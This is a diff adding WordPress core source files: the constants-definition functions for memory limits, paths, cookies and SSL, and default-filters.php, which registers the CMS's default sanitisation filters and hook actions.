@@ -0,0 +1,363 @@
+<?php
+/**
+ * Defines constants and global variables that can be overridden, generally in wp-config.php.
+ *
+ * @package WordPress
+ */
+
+/**
+ * Defines initial WordPress constants
+ *
+ * @see wp_debug_mode()
+ *
+ * @since 3.0.0
+ *
+ * @global int    $blog_id    The current site ID.
+ * @global string $wp_version The WordPress version string.
+ */
+function wp_initial_constants() {
+	global $blog_id;
+
+	/**#@+
+	 * Constants for expressing human-readable data sizes in their respective number of bytes.
+	 *
+	 * @since 4.4.0
+	 */
+	define( 'KB_IN_BYTES', 1024 );
+	define( 'MB_IN_BYTES', 1024 * KB_IN_BYTES );
+	define( 'GB_IN_BYTES', 1024 * MB_IN_BYTES );
+	define( 'TB_IN_BYTES', 1024 * GB_IN_BYTES );
+	/**#@-*/
+
+	$current_limit     = @ini_get( 'memory_limit' );
+	$current_limit_int = wp_convert_hr_to_bytes( $current_limit );
+
+	// Define memory limits.
+	if ( ! defined( 'WP_MEMORY_LIMIT' ) ) {
+		if ( false === wp_is_ini_value_changeable( 'memory_limit' ) ) {
+			define( 'WP_MEMORY_LIMIT', $current_limit );
+		} elseif ( is_multisite() ) {
+			define( 'WP_MEMORY_LIMIT', '64M' );
+		} else {
+			define( 'WP_MEMORY_LIMIT', '40M' );
+		}
+	}
+
+	if ( ! defined( 'WP_MAX_MEMORY_LIMIT' ) ) {
+		if ( false === wp_is_ini_value_changeable( 'memory_limit' ) ) {
+			define( 'WP_MAX_MEMORY_LIMIT', $current_limit );
+		} elseif ( -1 === $current_limit_int || $current_limit_int > 268435456 /* = 256M */ ) {
+			define( 'WP_MAX_MEMORY_LIMIT', $current_limit );
+		} else {
+			define( 'WP_MAX_MEMORY_LIMIT', '256M' );
+		}
+	}
+
+	// Set memory limits.
+	$wp_limit_int = wp_convert_hr_to_bytes( WP_MEMORY_LIMIT );
+	if ( -1 !== $current_limit_int && ( -1 === $wp_limit_int || $wp_limit_int > $current_limit_int ) ) {
+		@ini_set( 'memory_limit', WP_MEMORY_LIMIT );
+	}
+
+	if ( ! isset($blog_id) )
+		$blog_id = 1;
+
+	if ( !defined('WP_CONTENT_DIR') )
+		define( 'WP_CONTENT_DIR', ABSPATH . 'wp-content' ); // no trailing slash, full paths only - WP_CONTENT_URL is defined further down
+
+	// Add define('WP_DEBUG', true); to wp-config.php to enable display of notices during development.
+	if ( !defined('WP_DEBUG') )
+		define( 'WP_DEBUG', false );
+
+	// Add define('WP_DEBUG_DISPLAY', null); to wp-config.php use the globally configured setting for
+	// display_errors and not force errors to be displayed. Use false to force display_errors off.
+	if ( !defined('WP_DEBUG_DISPLAY') )
+		define( 'WP_DEBUG_DISPLAY', true );
+
+	// Add define('WP_DEBUG_LOG', true); to enable error logging to wp-content/debug.log.
+	if ( !defined('WP_DEBUG_LOG') )
+		define('WP_DEBUG_LOG', false);
+
+	if ( !defined('WP_CACHE') )
+		define('WP_CACHE', false);
+
+	// Add define('SCRIPT_DEBUG', true); to wp-config.php to enable loading of non-minified,
+	// non-concatenated scripts and stylesheets.
+	if ( ! defined( 'SCRIPT_DEBUG' ) ) {
+		if ( ! empty( $GLOBALS['wp_version'] ) ) {
+			$develop_src = false !== strpos( $GLOBALS['wp_version'], '-src' );
+		} else {
+			$develop_src = false;
+		}
+
+		define( 'SCRIPT_DEBUG', $develop_src );
+	}
+
+	/**
+	 * Private
+	 */
+	if ( !defined('MEDIA_TRASH') )
+		define('MEDIA_TRASH', false);
+
+	if ( !defined('SHORTINIT') )
+		define('SHORTINIT', false);
+
+	// Constants for features added to WP that should short-circuit their plugin implementations
+	define( 'WP_FEATURE_BETTER_PASSWORDS', true );
+
+	/**#@+
+	 * Constants for expressing human-readable intervals
+	 * in their respective number of seconds.
+	 *
+	 * Please note that these values are approximate and are provided for convenience.
+	 * For example, MONTH_IN_SECONDS wrongly assumes every month has 30 days and
+	 * YEAR_IN_SECONDS does not take leap years into account.
+	 *
+	 * If you need more accuracy please consider using the DateTime class (https://secure.php.net/manual/en/class.datetime.php).
+	 *
+	 * @since 3.5.0
+	 * @since 4.4.0 Introduced `MONTH_IN_SECONDS`.
+	 */
+	define( 'MINUTE_IN_SECONDS', 60 );
+	define( 'HOUR_IN_SECONDS',   60 * MINUTE_IN_SECONDS );
+	define( 'DAY_IN_SECONDS',    24 * HOUR_IN_SECONDS   );
+	define( 'WEEK_IN_SECONDS',    7 * DAY_IN_SECONDS    );
+	define( 'MONTH_IN_SECONDS',  30 * DAY_IN_SECONDS    );
+	define( 'YEAR_IN_SECONDS',  365 * DAY_IN_SECONDS    );
+	/**#@-*/
+}
+
+/**
+ * Defines plugin directory WordPress constants
+ *
+ * Defines must-use plugin directory constants, which may be overridden in the sunrise.php drop-in
+ *
+ * @since 3.0.0
+ */
+function wp_plugin_directory_constants() {
+	if ( !defined('WP_CONTENT_URL') )
+		define( 'WP_CONTENT_URL', get_option('siteurl') . '/wp-content'); // full url - WP_CONTENT_DIR is defined further up
+
+	/**
+	 * Allows for the plugins directory to be moved from the default location.
+	 *
+	 * @since 2.6.0
+	 */
+	if ( !defined('WP_PLUGIN_DIR') )
+		define( 'WP_PLUGIN_DIR', WP_CONTENT_DIR . '/plugins' ); // full path, no trailing slash
+
+	/**
+	 * Allows for the plugins directory to be moved from the default location.
+	 *
+	 * @since 2.6.0
+	 */
+	if ( !defined('WP_PLUGIN_URL') )
+		define( 'WP_PLUGIN_URL', WP_CONTENT_URL . '/plugins' ); // full url, no trailing slash
+
+	/**
+	 * Allows for the plugins directory to be moved from the default location.
+	 *
+	 * @since 2.1.0
+	 * @deprecated
+	 */
+	if ( !defined('PLUGINDIR') )
+		define( 'PLUGINDIR', 'wp-content/plugins' ); // Relative to ABSPATH. For back compat.
+
+	/**
+	 * Allows for the mu-plugins directory to be moved from the default location.
+	 *
+	 * @since 2.8.0
+	 */
+	if ( !defined('WPMU_PLUGIN_DIR') )
+		define( 'WPMU_PLUGIN_DIR', WP_CONTENT_DIR . '/mu-plugins' ); // full path, no trailing slash
+
+	/**
+	 * Allows for the mu-plugins directory to be moved from the default location.
+	 *
+	 * @since 2.8.0
+	 */
+	if ( !defined('WPMU_PLUGIN_URL') )
+		define( 'WPMU_PLUGIN_URL', WP_CONTENT_URL . '/mu-plugins' ); // full url, no trailing slash
+
+	/**
+	 * Allows for the mu-plugins directory to be moved from the default location.
+	 *
+	 * @since 2.8.0
+	 * @deprecated
+	 */
+	if ( !defined( 'MUPLUGINDIR' ) )
+		define( 'MUPLUGINDIR', 'wp-content/mu-plugins' ); // Relative to ABSPATH. For back compat.
+}
+
+/**
+ * Defines cookie related WordPress constants
+ *
+ * Defines constants after multisite is loaded.
+ * @since 3.0.0
+ */
+function wp_cookie_constants() {
+	/**
+	 * Used to guarantee unique hash cookies
+	 *
+	 * @since 1.5.0
+	 */
+	if ( !defined( 'COOKIEHASH' ) ) {
+		$siteurl = get_site_option( 'siteurl' );
+		if ( $siteurl )
+			define( 'COOKIEHASH', md5( $siteurl ) );
+		else
+			define( 'COOKIEHASH', '' );
+	}
+
+	/**
+	 * @since 2.0.0
+	 */
+	if ( !defined('USER_COOKIE') )
+		define('USER_COOKIE', 'wordpressuser_' . COOKIEHASH);
+
+	/**
+	 * @since 2.0.0
+	 */
+	if ( !defined('PASS_COOKIE') )
+		define('PASS_COOKIE', 'wordpresspass_' . COOKIEHASH);
+
+	/**
+	 * @since 2.5.0
+	 */
+	if ( !defined('AUTH_COOKIE') )
+		define('AUTH_COOKIE', 'wordpress_' . COOKIEHASH);
+
+	/**
+	 * @since 2.6.0
+	 */
+	if ( !defined('SECURE_AUTH_COOKIE') )
+		define('SECURE_AUTH_COOKIE', 'wordpress_sec_' . COOKIEHASH);
+
+	/**
+	 * @since 2.6.0
+	 */
+	if ( !defined('LOGGED_IN_COOKIE') )
+		define('LOGGED_IN_COOKIE', 'wordpress_logged_in_' . COOKIEHASH);
+
+	/**
+	 * @since 2.3.0
+	 */
+	if ( !defined('TEST_COOKIE') )
+		define('TEST_COOKIE', 'wordpress_test_cookie');
+
+	/**
+	 * @since 1.2.0
+	 */
+	if ( !defined('COOKIEPATH') )
+		define('COOKIEPATH', preg_replace('|https?://[^/]+|i', '', get_option('home') . '/' ) );
+
+	/**
+	 * @since 1.5.0
+	 */
+	if ( !defined('SITECOOKIEPATH') )
+		define('SITECOOKIEPATH', preg_replace('|https?://[^/]+|i', '', get_option('siteurl') . '/' ) );
+
+	/**
+	 * @since 2.6.0
+	 */
+	if ( !defined('ADMIN_COOKIE_PATH') )
+		define( 'ADMIN_COOKIE_PATH', SITECOOKIEPATH . 'wp-admin' );
+
+	/**
+	 * @since 2.6.0
+	 */
+	if ( !defined('PLUGINS_COOKIE_PATH') )
+		define( 'PLUGINS_COOKIE_PATH', preg_replace('|https?://[^/]+|i', '', WP_PLUGIN_URL)  );
+
+	/**
+	 * @since 2.0.0
+	 */
+	if ( !defined('COOKIE_DOMAIN') )
+		define('COOKIE_DOMAIN', false);
+}
+
+/**
+ * Defines cookie related WordPress constants
+ *
+ * @since 3.0.0
+ */
+function wp_ssl_constants() {
+	/**
+	 * @since 2.6.0
+	 */
+	if ( !defined( 'FORCE_SSL_ADMIN' ) ) {
+		if ( 'https' === parse_url( get_option( 'siteurl' ), PHP_URL_SCHEME ) ) {
+			define( 'FORCE_SSL_ADMIN', true );
+		} else {
+			define( 'FORCE_SSL_ADMIN', false );
+		}
+	}
+	force_ssl_admin( FORCE_SSL_ADMIN );
+
+	/**
+	 * @since 2.6.0
+	 * @deprecated 4.0.0
+	 */
+	if ( defined( 'FORCE_SSL_LOGIN' ) && FORCE_SSL_LOGIN ) {
+		force_ssl_admin( true );
+	}
+}
+
+/**
+ * Defines functionality related WordPress constants
+ *
+ * @since 3.0.0
+ */
+function wp_functionality_constants() {
+	/**
+	 * @since 2.5.0
+	 */
+	if ( !defined( 'AUTOSAVE_INTERVAL' ) )
+		define( 'AUTOSAVE_INTERVAL', 60 );
+
+	/**
+	 * @since 2.9.0
+	 */
+	if ( !defined( 'EMPTY_TRASH_DAYS' ) )
+		define( 'EMPTY_TRASH_DAYS', 30 );
+
+	if ( !defined('WP_POST_REVISIONS') )
+		define('WP_POST_REVISIONS', true);
+
+	/**
+	 * @since 3.3.0
+	 */
+	if ( !defined( 'WP_CRON_LOCK_TIMEOUT' ) )
+		define('WP_CRON_LOCK_TIMEOUT', 60);  // In seconds
+}
+
+/**
+ * Defines templating related WordPress constants
+ *
+ * @since 3.0.0
+ */
+function wp_templating_constants() {
+	/**
+	 * Filesystem path to the current active template directory
+	 * @since 1.5.0
+	 */
+	define('TEMPLATEPATH', get_template_directory());
+
+	/**
+	 * Filesystem path to the current active template stylesheet directory
+	 * @since 2.1.0
+	 */
+	define('STYLESHEETPATH', get_stylesheet_directory());
+
+	/**
+	 * Slug of the default theme for this installation.
+	 * Used as the default theme when installing new sites.
+	 * It will be used as the fallback if the current theme doesn't exist.
+	 *
+	 * @since 3.0.0
+	 * @see WP_Theme::get_core_default_theme()
+	 */
+	if ( !defined('WP_DEFAULT_THEME') )
+		define( 'WP_DEFAULT_THEME', 'twentynineteen' );
+
+}
Index: /tags/5.0.20/src/wp-includes/default-filters.php
===================================================================
--- /tags/5.0.20/src/wp-includes/default-filters.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/default-filters.php	(revision 56912)
@@ -0,0 +1,568 @@
+<?php
+/**
+ * Sets up the default filters and actions for most
+ * of the WordPress hooks.
+ *
+ * If you need to remove a default hook, this file will
+ * give you the priority for which to use to remove the
+ * hook.
+ *
+ * Not all of the default hooks are found in default-filters.php
+ *
+ * @package WordPress
+ */
+
+// Strip, trim, kses, special chars for string saves
+foreach ( array( 'pre_term_name', 'pre_comment_author_name', 'pre_link_name', 'pre_link_target', 'pre_link_rel', 'pre_user_display_name', 'pre_user_first_name', 'pre_user_last_name', 'pre_user_nickname' ) as $filter ) {
+	add_filter( $filter, 'sanitize_text_field'  );
+	add_filter( $filter, 'wp_filter_kses'       );
+	add_filter( $filter, '_wp_specialchars', 30 );
+}
+
+// Strip, kses, special chars for string display
+foreach ( array( 'term_name', 'comment_author_name', 'link_name', 'link_target', 'link_rel', 'user_display_name', 'user_first_name', 'user_last_name', 'user_nickname' ) as $filter ) {
+	if ( is_admin() ) {
+		// These are expensive. Run only on admin pages for defense in depth.
+		add_filter( $filter, 'sanitize_text_field'  );
+		add_filter( $filter, 'wp_kses_data'       );
+	}
+	add_filter( $filter, '_wp_specialchars', 30 );
+}
+
+// Kses only for textarea saves
+foreach ( array( 'pre_term_description', 'pre_link_description', 'pre_link_notes', 'pre_user_description' ) as $filter ) {
+	add_filter( $filter, 'wp_filter_kses' );
+}
+
+// Kses only for textarea admin displays
+if ( is_admin() ) {
+	foreach ( array( 'term_description', 'link_description', 'link_notes', 'user_description' ) as $filter ) {
+		add_filter( $filter, 'wp_kses_data' );
+	}
+	add_filter( 'comment_text', 'wp_kses_post' );
+}
+
+// Email saves
+foreach ( array( 'pre_comment_author_email', 'pre_user_email' ) as $filter ) {
+	add_filter( $filter, 'trim'           );
+	add_filter( $filter, 'sanitize_email' );
+	add_filter( $filter, 'wp_filter_kses' );
+}
+
+// Email admin display
+foreach ( array( 'comment_author_email', 'user_email' ) as $filter ) {
+	add_filter( $filter, 'sanitize_email' );
+	if ( is_admin() )
+		add_filter( $filter, 'wp_kses_data' );
+}
+
+// Save URL
+foreach ( array( 'pre_comment_author_url', 'pre_user_url', 'pre_link_url', 'pre_link_image',
+	'pre_link_rss', 'pre_post_guid' ) as $filter ) {
+	add_filter( $filter, 'wp_strip_all_tags' );
+	add_filter( $filter, 'esc_url_raw'       );
+	add_filter( $filter, 'wp_filter_kses'    );
+}
+
+// Display URL
+foreach ( array( 'user_url', 'link_url', 'link_image', 'link_rss', 'comment_url', 'post_guid' ) as $filter ) {
+	if ( is_admin() )
+		add_filter( $filter, 'wp_strip_all_tags' );
+	add_filter( $filter, 'esc_url'           );
+	if ( is_admin() )
+		add_filter( $filter, 'wp_kses_data'    );
+}
+
+// Slugs
+add_filter( 'pre_term_slug', 'sanitize_title' );
+add_filter( 'wp_insert_post_data', '_wp_customize_changeset_filter_insert_post_data', 10, 2 );
+
+// Keys
+foreach ( array( 'pre_post_type', 'pre_post_status', 'pre_post_comment_status', 'pre_post_ping_status' ) as $filter ) {
+	add_filter( $filter, 'sanitize_key' );
+}
+
+// Mime types
+add_filter( 'pre_post_mime_type', 'sanitize_mime_type' );
+add_filter( 'post_mime_type', 'sanitize_mime_type' );
+
+// Meta
+add_filter( 'register_meta_args', '_wp_register_meta_args_whitelist', 10, 2 );
+
+// Post meta
+add_action( 'added_post_meta', 'wp_cache_set_posts_last_changed' );
+add_action( 'updated_post_meta', 'wp_cache_set_posts_last_changed' );
+add_action( 'deleted_post_meta', 'wp_cache_set_posts_last_changed' );
+
+// Term meta
+add_action( 'added_term_meta', 'wp_cache_set_terms_last_changed' );
+add_action( 'updated_term_meta', 'wp_cache_set_terms_last_changed' );
+add_action( 'deleted_term_meta', 'wp_cache_set_terms_last_changed' );
+add_filter( 'get_term_metadata', 'wp_check_term_meta_support_prefilter' );
+add_filter( 'add_term_metadata', 'wp_check_term_meta_support_prefilter' );
+add_filter( 'update_term_metadata', 'wp_check_term_meta_support_prefilter' );
+add_filter( 'delete_term_metadata', 'wp_check_term_meta_support_prefilter' );
+add_filter( 'get_term_metadata_by_mid', 'wp_check_term_meta_support_prefilter' );
+add_filter( 'update_term_metadata_by_mid', 'wp_check_term_meta_support_prefilter' );
+add_filter( 'delete_term_metadata_by_mid', 'wp_check_term_meta_support_prefilter' );
+add_filter( 'update_term_metadata_cache', 'wp_check_term_meta_support_prefilter' );
+
+// Comment meta
+add_action( 'added_comment_meta', 'wp_cache_set_comments_last_changed' );
+add_action( 'updated_comment_meta', 'wp_cache_set_comments_last_changed' );
+add_action( 'deleted_comment_meta', 'wp_cache_set_comments_last_changed' );
+
+// Places to balance tags on input
+foreach ( array( 'content_save_pre', 'excerpt_save_pre', 'comment_save_pre', 'pre_comment_content' ) as $filter ) {
+	add_filter( $filter, 'convert_invalid_entities' );
+	add_filter( $filter, 'balanceTags', 50 );
+}
+
+// Format strings for display.
+foreach ( array( 'comment_author', 'term_name', 'link_name', 'link_description', 'link_notes', 'bloginfo', 'wp_title', 'widget_title' ) as $filter ) {
+	add_filter( $filter, 'wptexturize'   );
+	add_filter( $filter, 'convert_chars' );
+	add_filter( $filter, 'esc_html'      );
+}
+
+// Format WordPress
+foreach ( array( 'the_content', 'the_title', 'wp_title' ) as $filter )
+	add_filter( $filter, 'capital_P_dangit', 11 );
+add_filter( 'comment_text', 'capital_P_dangit', 31 );
+
+// Format titles
+foreach ( array( 'single_post_title', 'single_cat_title', 'single_tag_title', 'single_month_title', 'nav_menu_attr_title', 'nav_menu_description' ) as $filter ) {
+	add_filter( $filter, 'wptexturize' );
+	add_filter( $filter, 'strip_tags'  );
+}
+
+// Format text area for display.
+foreach ( array( 'term_description', 'get_the_post_type_description' ) as $filter ) {
+	add_filter( $filter, 'wptexturize'      );
+	add_filter( $filter, 'convert_chars'    );
+	add_filter( $filter, 'wpautop'          );
+	add_filter( $filter, 'shortcode_unautop');
+}
+
+// Format for RSS
+add_filter( 'term_name_rss', 'convert_chars' );
+
+// Pre save hierarchy
+add_filter( 'wp_insert_post_parent', 'wp_check_post_hierarchy_for_loops', 10, 2 );
+add_filter( 'wp_update_term_parent', 'wp_check_term_hierarchy_for_loops', 10, 3 );
+
+// Display filters
+add_filter( 'the_title', 'wptexturize'   );
+add_filter( 'the_title', 'convert_chars' );
+add_filter( 'the_title', 'trim'          );
+
+add_filter( 'the_content', 'do_blocks',                      9 );
+add_filter( 'the_content', 'wptexturize'                       );
+add_filter( 'the_content', 'convert_smilies',               20 );
+add_filter( 'the_content', 'wpautop'                           );
+add_filter( 'the_content', 'shortcode_unautop'                 );
+add_filter( 'the_content', 'prepend_attachment'                );
+add_filter( 'the_content', 'wp_make_content_images_responsive' );
+
+add_filter( 'the_excerpt',     'wptexturize'      );
+add_filter( 'the_excerpt',     'convert_smilies'  );
+add_filter( 'the_excerpt',     'convert_chars'    );
+add_filter( 'the_excerpt',     'wpautop'          );
+add_filter( 'the_excerpt',     'shortcode_unautop');
+add_filter( 'get_the_excerpt', 'wp_trim_excerpt'  );
+
+add_filter( 'the_post_thumbnail_caption', 'wptexturize'     );
+add_filter( 'the_post_thumbnail_caption', 'convert_smilies' );
+add_filter( 'the_post_thumbnail_caption', 'convert_chars'   );
+
+add_filter( 'comment_text', 'wptexturize'            );
+add_filter( 'comment_text', 'convert_chars'          );
+add_filter( 'comment_text', 'make_clickable',      9 );
+add_filter( 'comment_text', 'force_balance_tags', 25 );
+add_filter( 'comment_text', 'convert_smilies',    20 );
+add_filter( 'comment_text', 'wpautop',            30 );
+
+add_filter( 'comment_excerpt', 'convert_chars' );
+
+add_filter( 'list_cats',         'wptexturize' );
+
+add_filter( 'wp_sprintf', 'wp_sprintf_l', 10, 2 );
+
+add_filter( 'widget_text',         'balanceTags'          );
+add_filter( 'widget_text_content', 'capital_P_dangit', 11 );
+add_filter( 'widget_text_content', 'wptexturize'          );
+add_filter( 'widget_text_content', 'convert_smilies',  20 );
+add_filter( 'widget_text_content', 'wpautop'              );
+add_filter( 'widget_text_content', 'shortcode_unautop'    );
+add_filter( 'widget_text_content', 'do_shortcode',     11 ); // Runs after wpautop(); note that $post global will be null when shortcodes run.
+
+add_filter( 'date_i18n', 'wp_maybe_decline_date' );
+
+// RSS filters
+add_filter( 'the_title_rss',      'strip_tags'                    );
+add_filter( 'the_title_rss',      'ent2ncr',                    8 );
+add_filter( 'the_title_rss',      'esc_html'                      );
+add_filter( 'the_content_rss',    'ent2ncr',                    8 );
+add_filter( 'the_content_feed',   'wp_staticize_emoji'            );
+add_filter( 'the_content_feed',   '_oembed_filter_feed_content'   );
+add_filter( 'the_excerpt_rss',    'convert_chars'                 );
+add_filter( 'the_excerpt_rss',    'ent2ncr',                    8 );
+add_filter( 'comment_author_rss', 'ent2ncr',                    8 );
+add_filter( 'comment_text_rss',   'ent2ncr',                    8 );
+add_filter( 'comment_text_rss',   'esc_html'                      );
+add_filter( 'comment_text_rss',   'wp_staticize_emoji'            );
+add_filter( 'bloginfo_rss',       'ent2ncr',                    8 );
+add_filter( 'the_author',         'ent2ncr',                    8 );
+add_filter( 'the_guid',           'esc_url'                       );
+
+// Email filters
+add_filter( 'wp_mail', 'wp_staticize_emoji_for_email' );
+
+// Mark site as no longer fresh
+foreach ( array( 'publish_post', 'publish_page', 'wp_ajax_save-widget', 'wp_ajax_widgets-order', 'customize_save_after' ) as $action ) {
+	add_action( $action, '_delete_option_fresh_site', 0 );
+}
+
+// Misc filters
+add_filter( 'option_ping_sites', 'privacy_ping_filter' );
+add_filter( 'option_blog_charset', '_wp_specialchars' ); // IMPORTANT: This must not be wp_specialchars() or esc_html() or it'll cause an infinite loop
+add_filter( 'option_blog_charset', '_canonical_charset' );
+add_filter( 'option_home', '_config_wp_home' );
+add_filter( 'option_siteurl', '_config_wp_siteurl' );
+add_filter( 'tiny_mce_before_init', '_mce_set_direction' );
+add_filter( 'teeny_mce_before_init', '_mce_set_direction' );
+add_filter( 'pre_kses', 'wp_pre_kses_less_than' );
+add_filter( 'pre_kses', 'wp_pre_kses_block_attributes', 10, 3 );
+add_filter( 'sanitize_title', 'sanitize_title_with_dashes', 10, 3 );
+add_action( 'check_comment_flood', 'check_comment_flood_db', 10, 4 );
+add_filter( 'comment_flood_filter', 'wp_throttle_comment_flood', 10, 3 );
+add_filter( 'pre_comment_content', 'wp_rel_nofollow', 15 );
+add_filter( 'comment_email', 'antispambot' );
+add_filter( 'option_tag_base', '_wp_filter_taxonomy_base' );
+add_filter( 'option_category_base', '_wp_filter_taxonomy_base' );
+add_filter( 'the_posts', '_close_comments_for_old_posts', 10, 2 );
+add_filter( 'comments_open', '_close_comments_for_old_post', 10, 2 );
+add_filter( 'pings_open', '_close_comments_for_old_post', 10, 2 );
+add_filter( 'editable_slug', 'urldecode' );
+add_filter( 'editable_slug', 'esc_textarea' );
+add_filter( 'nav_menu_meta_box_object', '_wp_nav_menu_meta_box_object' );
+add_filter( 'pingback_ping_source_uri', 'pingback_ping_source_uri' );
+add_filter( 'xmlrpc_pingback_error', 'xmlrpc_pingback_error' );
+add_filter( 'title_save_pre', 'trim' );
+
+add_action( 'transition_comment_status', '_clear_modified_cache_on_transition_comment_status', 10, 2 );
+
+add_filter( 'http_request_host_is_external',    'allowed_http_request_hosts', 10, 2 );
+
+// REST API filters.
+add_action( 'xmlrpc_rsd_apis',            'rest_output_rsd' );
+add_action( 'wp_head',                    'rest_output_link_wp_head', 10, 0 );
+add_action( 'template_redirect',          'rest_output_link_header', 11, 0 );
+add_action( 'auth_cookie_malformed',      'rest_cookie_collect_status' );
+add_action( 'auth_cookie_expired',        'rest_cookie_collect_status' );
+add_action( 'auth_cookie_bad_username',   'rest_cookie_collect_status' );
+add_action( 'auth_cookie_bad_hash',       'rest_cookie_collect_status' );
+add_action( 'auth_cookie_valid',          'rest_cookie_collect_status' );
+add_filter( 'rest_authentication_errors', 'rest_cookie_check_errors', 100 );
+
+// Actions
+add_action( 'wp_head',             '_wp_render_title_tag',            1     );
+add_action( 'wp_head',             'wp_enqueue_scripts',              1     );
+add_action( 'wp_head',             'wp_resource_hints',               2     );
+add_action( 'wp_head',             'feed_links',                      2     );
+add_action( 'wp_head',             'feed_links_extra',                3     );
+add_action( 'wp_head',             'rsd_link'                               );
+add_action( 'wp_head',             'wlwmanifest_link'                       );
+add_action( 'wp_head',             'adjacent_posts_rel_link_wp_head', 10, 0 );
+add_action( 'wp_head',             'locale_stylesheet'                      );
+add_action( 'publish_future_post', 'check_and_publish_future_post',   10, 1 );
+add_action( 'wp_head',             'noindex',                          1    );
+add_action( 'wp_head',             'print_emoji_detection_script',     7    );
+add_action( 'wp_head',             'wp_print_styles',                  8    );
+add_action( 'wp_head',             'wp_print_head_scripts',            9    );
+add_action( 'wp_head',             'wp_generator'                           );
+add_action( 'wp_head',             'rel_canonical'                          );
+add_action( 'wp_head',             'wp_shortlink_wp_head',            10, 0 );
+add_action( 'wp_head',             'wp_custom_css_cb',                101   );
+add_action( 'wp_head',             'wp_site_icon',                    99    );
+add_action( 'wp_footer',           'wp_print_footer_scripts',         20    );
+add_action( 'template_redirect',   'wp_shortlink_header',             11, 0 );
+add_action( 'wp_print_footer_scripts', '_wp_footer_scripts'                 );
+add_action( 'init',                'check_theme_switched',            99    );
+add_action( 'after_switch_theme',  '_wp_menus_changed'                      );
+add_action( 'after_switch_theme',  '_wp_sidebars_changed'                   );
+add_action( 'wp_print_styles',     'print_emoji_styles'                     );
+
+if ( isset( $_GET['replytocom'] ) )
+    add_action( 'wp_head', 'wp_no_robots' );
+
+// Login actions
+add_filter( 'login_head',          'wp_resource_hints',             8     );
+add_action( 'login_head',          'wp_print_head_scripts',         9     );
+add_action( 'login_head',          'print_admin_styles',            9     );
+add_action( 'login_head',          'wp_site_icon',                  99    );
+add_action( 'login_footer',        'wp_print_footer_scripts',       20    );
+add_action( 'login_init',          'send_frame_options_header',     10, 0 );
+
+// Feed Generator Tags
+foreach ( array( 'rss2_head', 'commentsrss2_head', 'rss_head', 'rdf_header', 'atom_head', 'comments_atom_head', 'opml_head', 'app_head' ) as $action ) {
+	add_action( $action, 'the_generator' );
+}
+
+// Feed Site Icon
+add_action( 'atom_head', 'atom_site_icon' );
+add_action( 'rss2_head', 'rss2_site_icon' );
+
+
+// WP Cron
+if ( !defined( 'DOING_CRON' ) )
+	add_action( 'init', 'wp_cron' );
+
+// 2 Actions 2 Furious
+add_action( 'do_feed_rdf',                'do_feed_rdf',                             10, 1 );
+add_action( 'do_feed_rss',                'do_feed_rss',                             10, 1 );
+add_action( 'do_feed_rss2',               'do_feed_rss2',                            10, 1 );
+add_action( 'do_feed_atom',               'do_feed_atom',                            10, 1 );
+add_action( 'do_pings',                   'do_all_pings',                            10, 1 );
+add_action( 'do_robots',                  'do_robots'                                      );
+add_action( 'set_comment_cookies',        'wp_set_comment_cookies',                  10, 3 );
+add_action( 'sanitize_comment_cookies',   'sanitize_comment_cookies'                       );
+add_action( 'admin_print_scripts',        'print_emoji_detection_script'                   );
+add_action( 'admin_print_scripts',        'print_head_scripts',                      20    );
+add_action( 'admin_print_footer_scripts', '_wp_footer_scripts'                             );
+add_action( 'admin_print_styles',         'print_emoji_styles'                             );
+add_action( 'admin_print_styles',         'print_admin_styles',                      20    );
+add_action( 'init',                       'smilies_init',                             5    );
+add_action( 'plugins_loaded',             'wp_maybe_load_widgets',                    0    );
+add_action( 'plugins_loaded',             'wp_maybe_load_embeds',                     0    );
+add_action( 'shutdown',                   'wp_ob_end_flush_all',                      1    );
+// Create a revision whenever a post is updated.
+add_action( 'post_updated',               'wp_save_post_revision',                   10, 1 );
+add_action( 'publish_post',               '_publish_post_hook',                       5, 1 );
+add_action( 'transition_post_status',     '_transition_post_status',                  5, 3 );
+add_action( 'transition_post_status',     '_update_term_count_on_transition_post_status', 10, 3 );
+add_action( 'comment_form',               'wp_comment_form_unfiltered_html_nonce'          );
+add_action( 'admin_init',                 'send_frame_options_header',               10, 0 );
+add_action( 'welcome_panel',              'wp_welcome_panel'                               );
+
+// Privacy
+add_action( 'user_request_action_confirmed', '_wp_privacy_account_request_confirmed' );
+add_action( 'user_request_action_confirmed', '_wp_privacy_send_request_confirmation_notification', 12 ); // After request marked as completed.
+add_filter( 'wp_privacy_personal_data_exporters', 'wp_register_comment_personal_data_exporter' );
+add_filter( 'wp_privacy_personal_data_exporters', 'wp_register_media_personal_data_exporter' );
+add_filter( 'wp_privacy_personal_data_exporters', 'wp_register_user_personal_data_exporter', 1 );
+add_filter( 'wp_privacy_personal_data_erasers', 'wp_register_comment_personal_data_eraser' );
+add_action( 'init', 'wp_schedule_delete_old_privacy_export_files' );
+add_action( 'wp_privacy_delete_old_export_files', 'wp_privacy_delete_old_export_files' );
+
+// Cron tasks
+add_action( 'wp_scheduled_delete',            'wp_scheduled_delete'       );
+add_action( 'wp_scheduled_auto_draft_delete', 'wp_delete_auto_drafts'     );
+add_action( 'importer_scheduled_cleanup',     'wp_delete_attachment'      );
+add_action( 'upgrader_scheduled_cleanup',     'wp_delete_attachment'      );
+add_action( 'delete_expired_transients',      'delete_expired_transients' );
+
+// Navigation menu actions
+add_action( 'delete_post',                '_wp_delete_post_menu_item'         );
+add_action( 'delete_term',                '_wp_delete_tax_menu_item',   10, 3 );
+add_action( 'transition_post_status',     '_wp_auto_add_pages_to_menu', 10, 3 );
+add_action( 'delete_post',                '_wp_delete_customize_changeset_dependent_auto_drafts' );
+
+// Post Thumbnail CSS class filtering
+add_action( 'begin_fetch_post_thumbnail_html', '_wp_post_thumbnail_class_filter_add'    );
+add_action( 'end_fetch_post_thumbnail_html',   '_wp_post_thumbnail_class_filter_remove' );
+
+// Redirect Old Slugs
+add_action( 'template_redirect',  'wp_old_slug_redirect'              );
+add_action( 'post_updated',       'wp_check_for_changed_slugs', 12, 3 );
+add_action( 'attachment_updated', 'wp_check_for_changed_slugs', 12, 3 );
+
+// Redirect Old Dates
+add_action( 'post_updated',       'wp_check_for_changed_dates', 12, 3 );
+add_action( 'attachment_updated', 'wp_check_for_changed_dates', 12, 3 );
+
+// Nonce check for Post Previews
+add_action( 'init', '_show_post_preview' );
+
+// Output JS to reset window.name for previews
+add_action( 'wp_head', 'wp_post_preview_js', 1 );
+
+// Timezone
+add_filter( 'pre_option_gmt_offset','wp_timezone_override_offset' );
+
+// Admin Color Schemes
+add_action( 'admin_init', 'register_admin_color_schemes', 1);
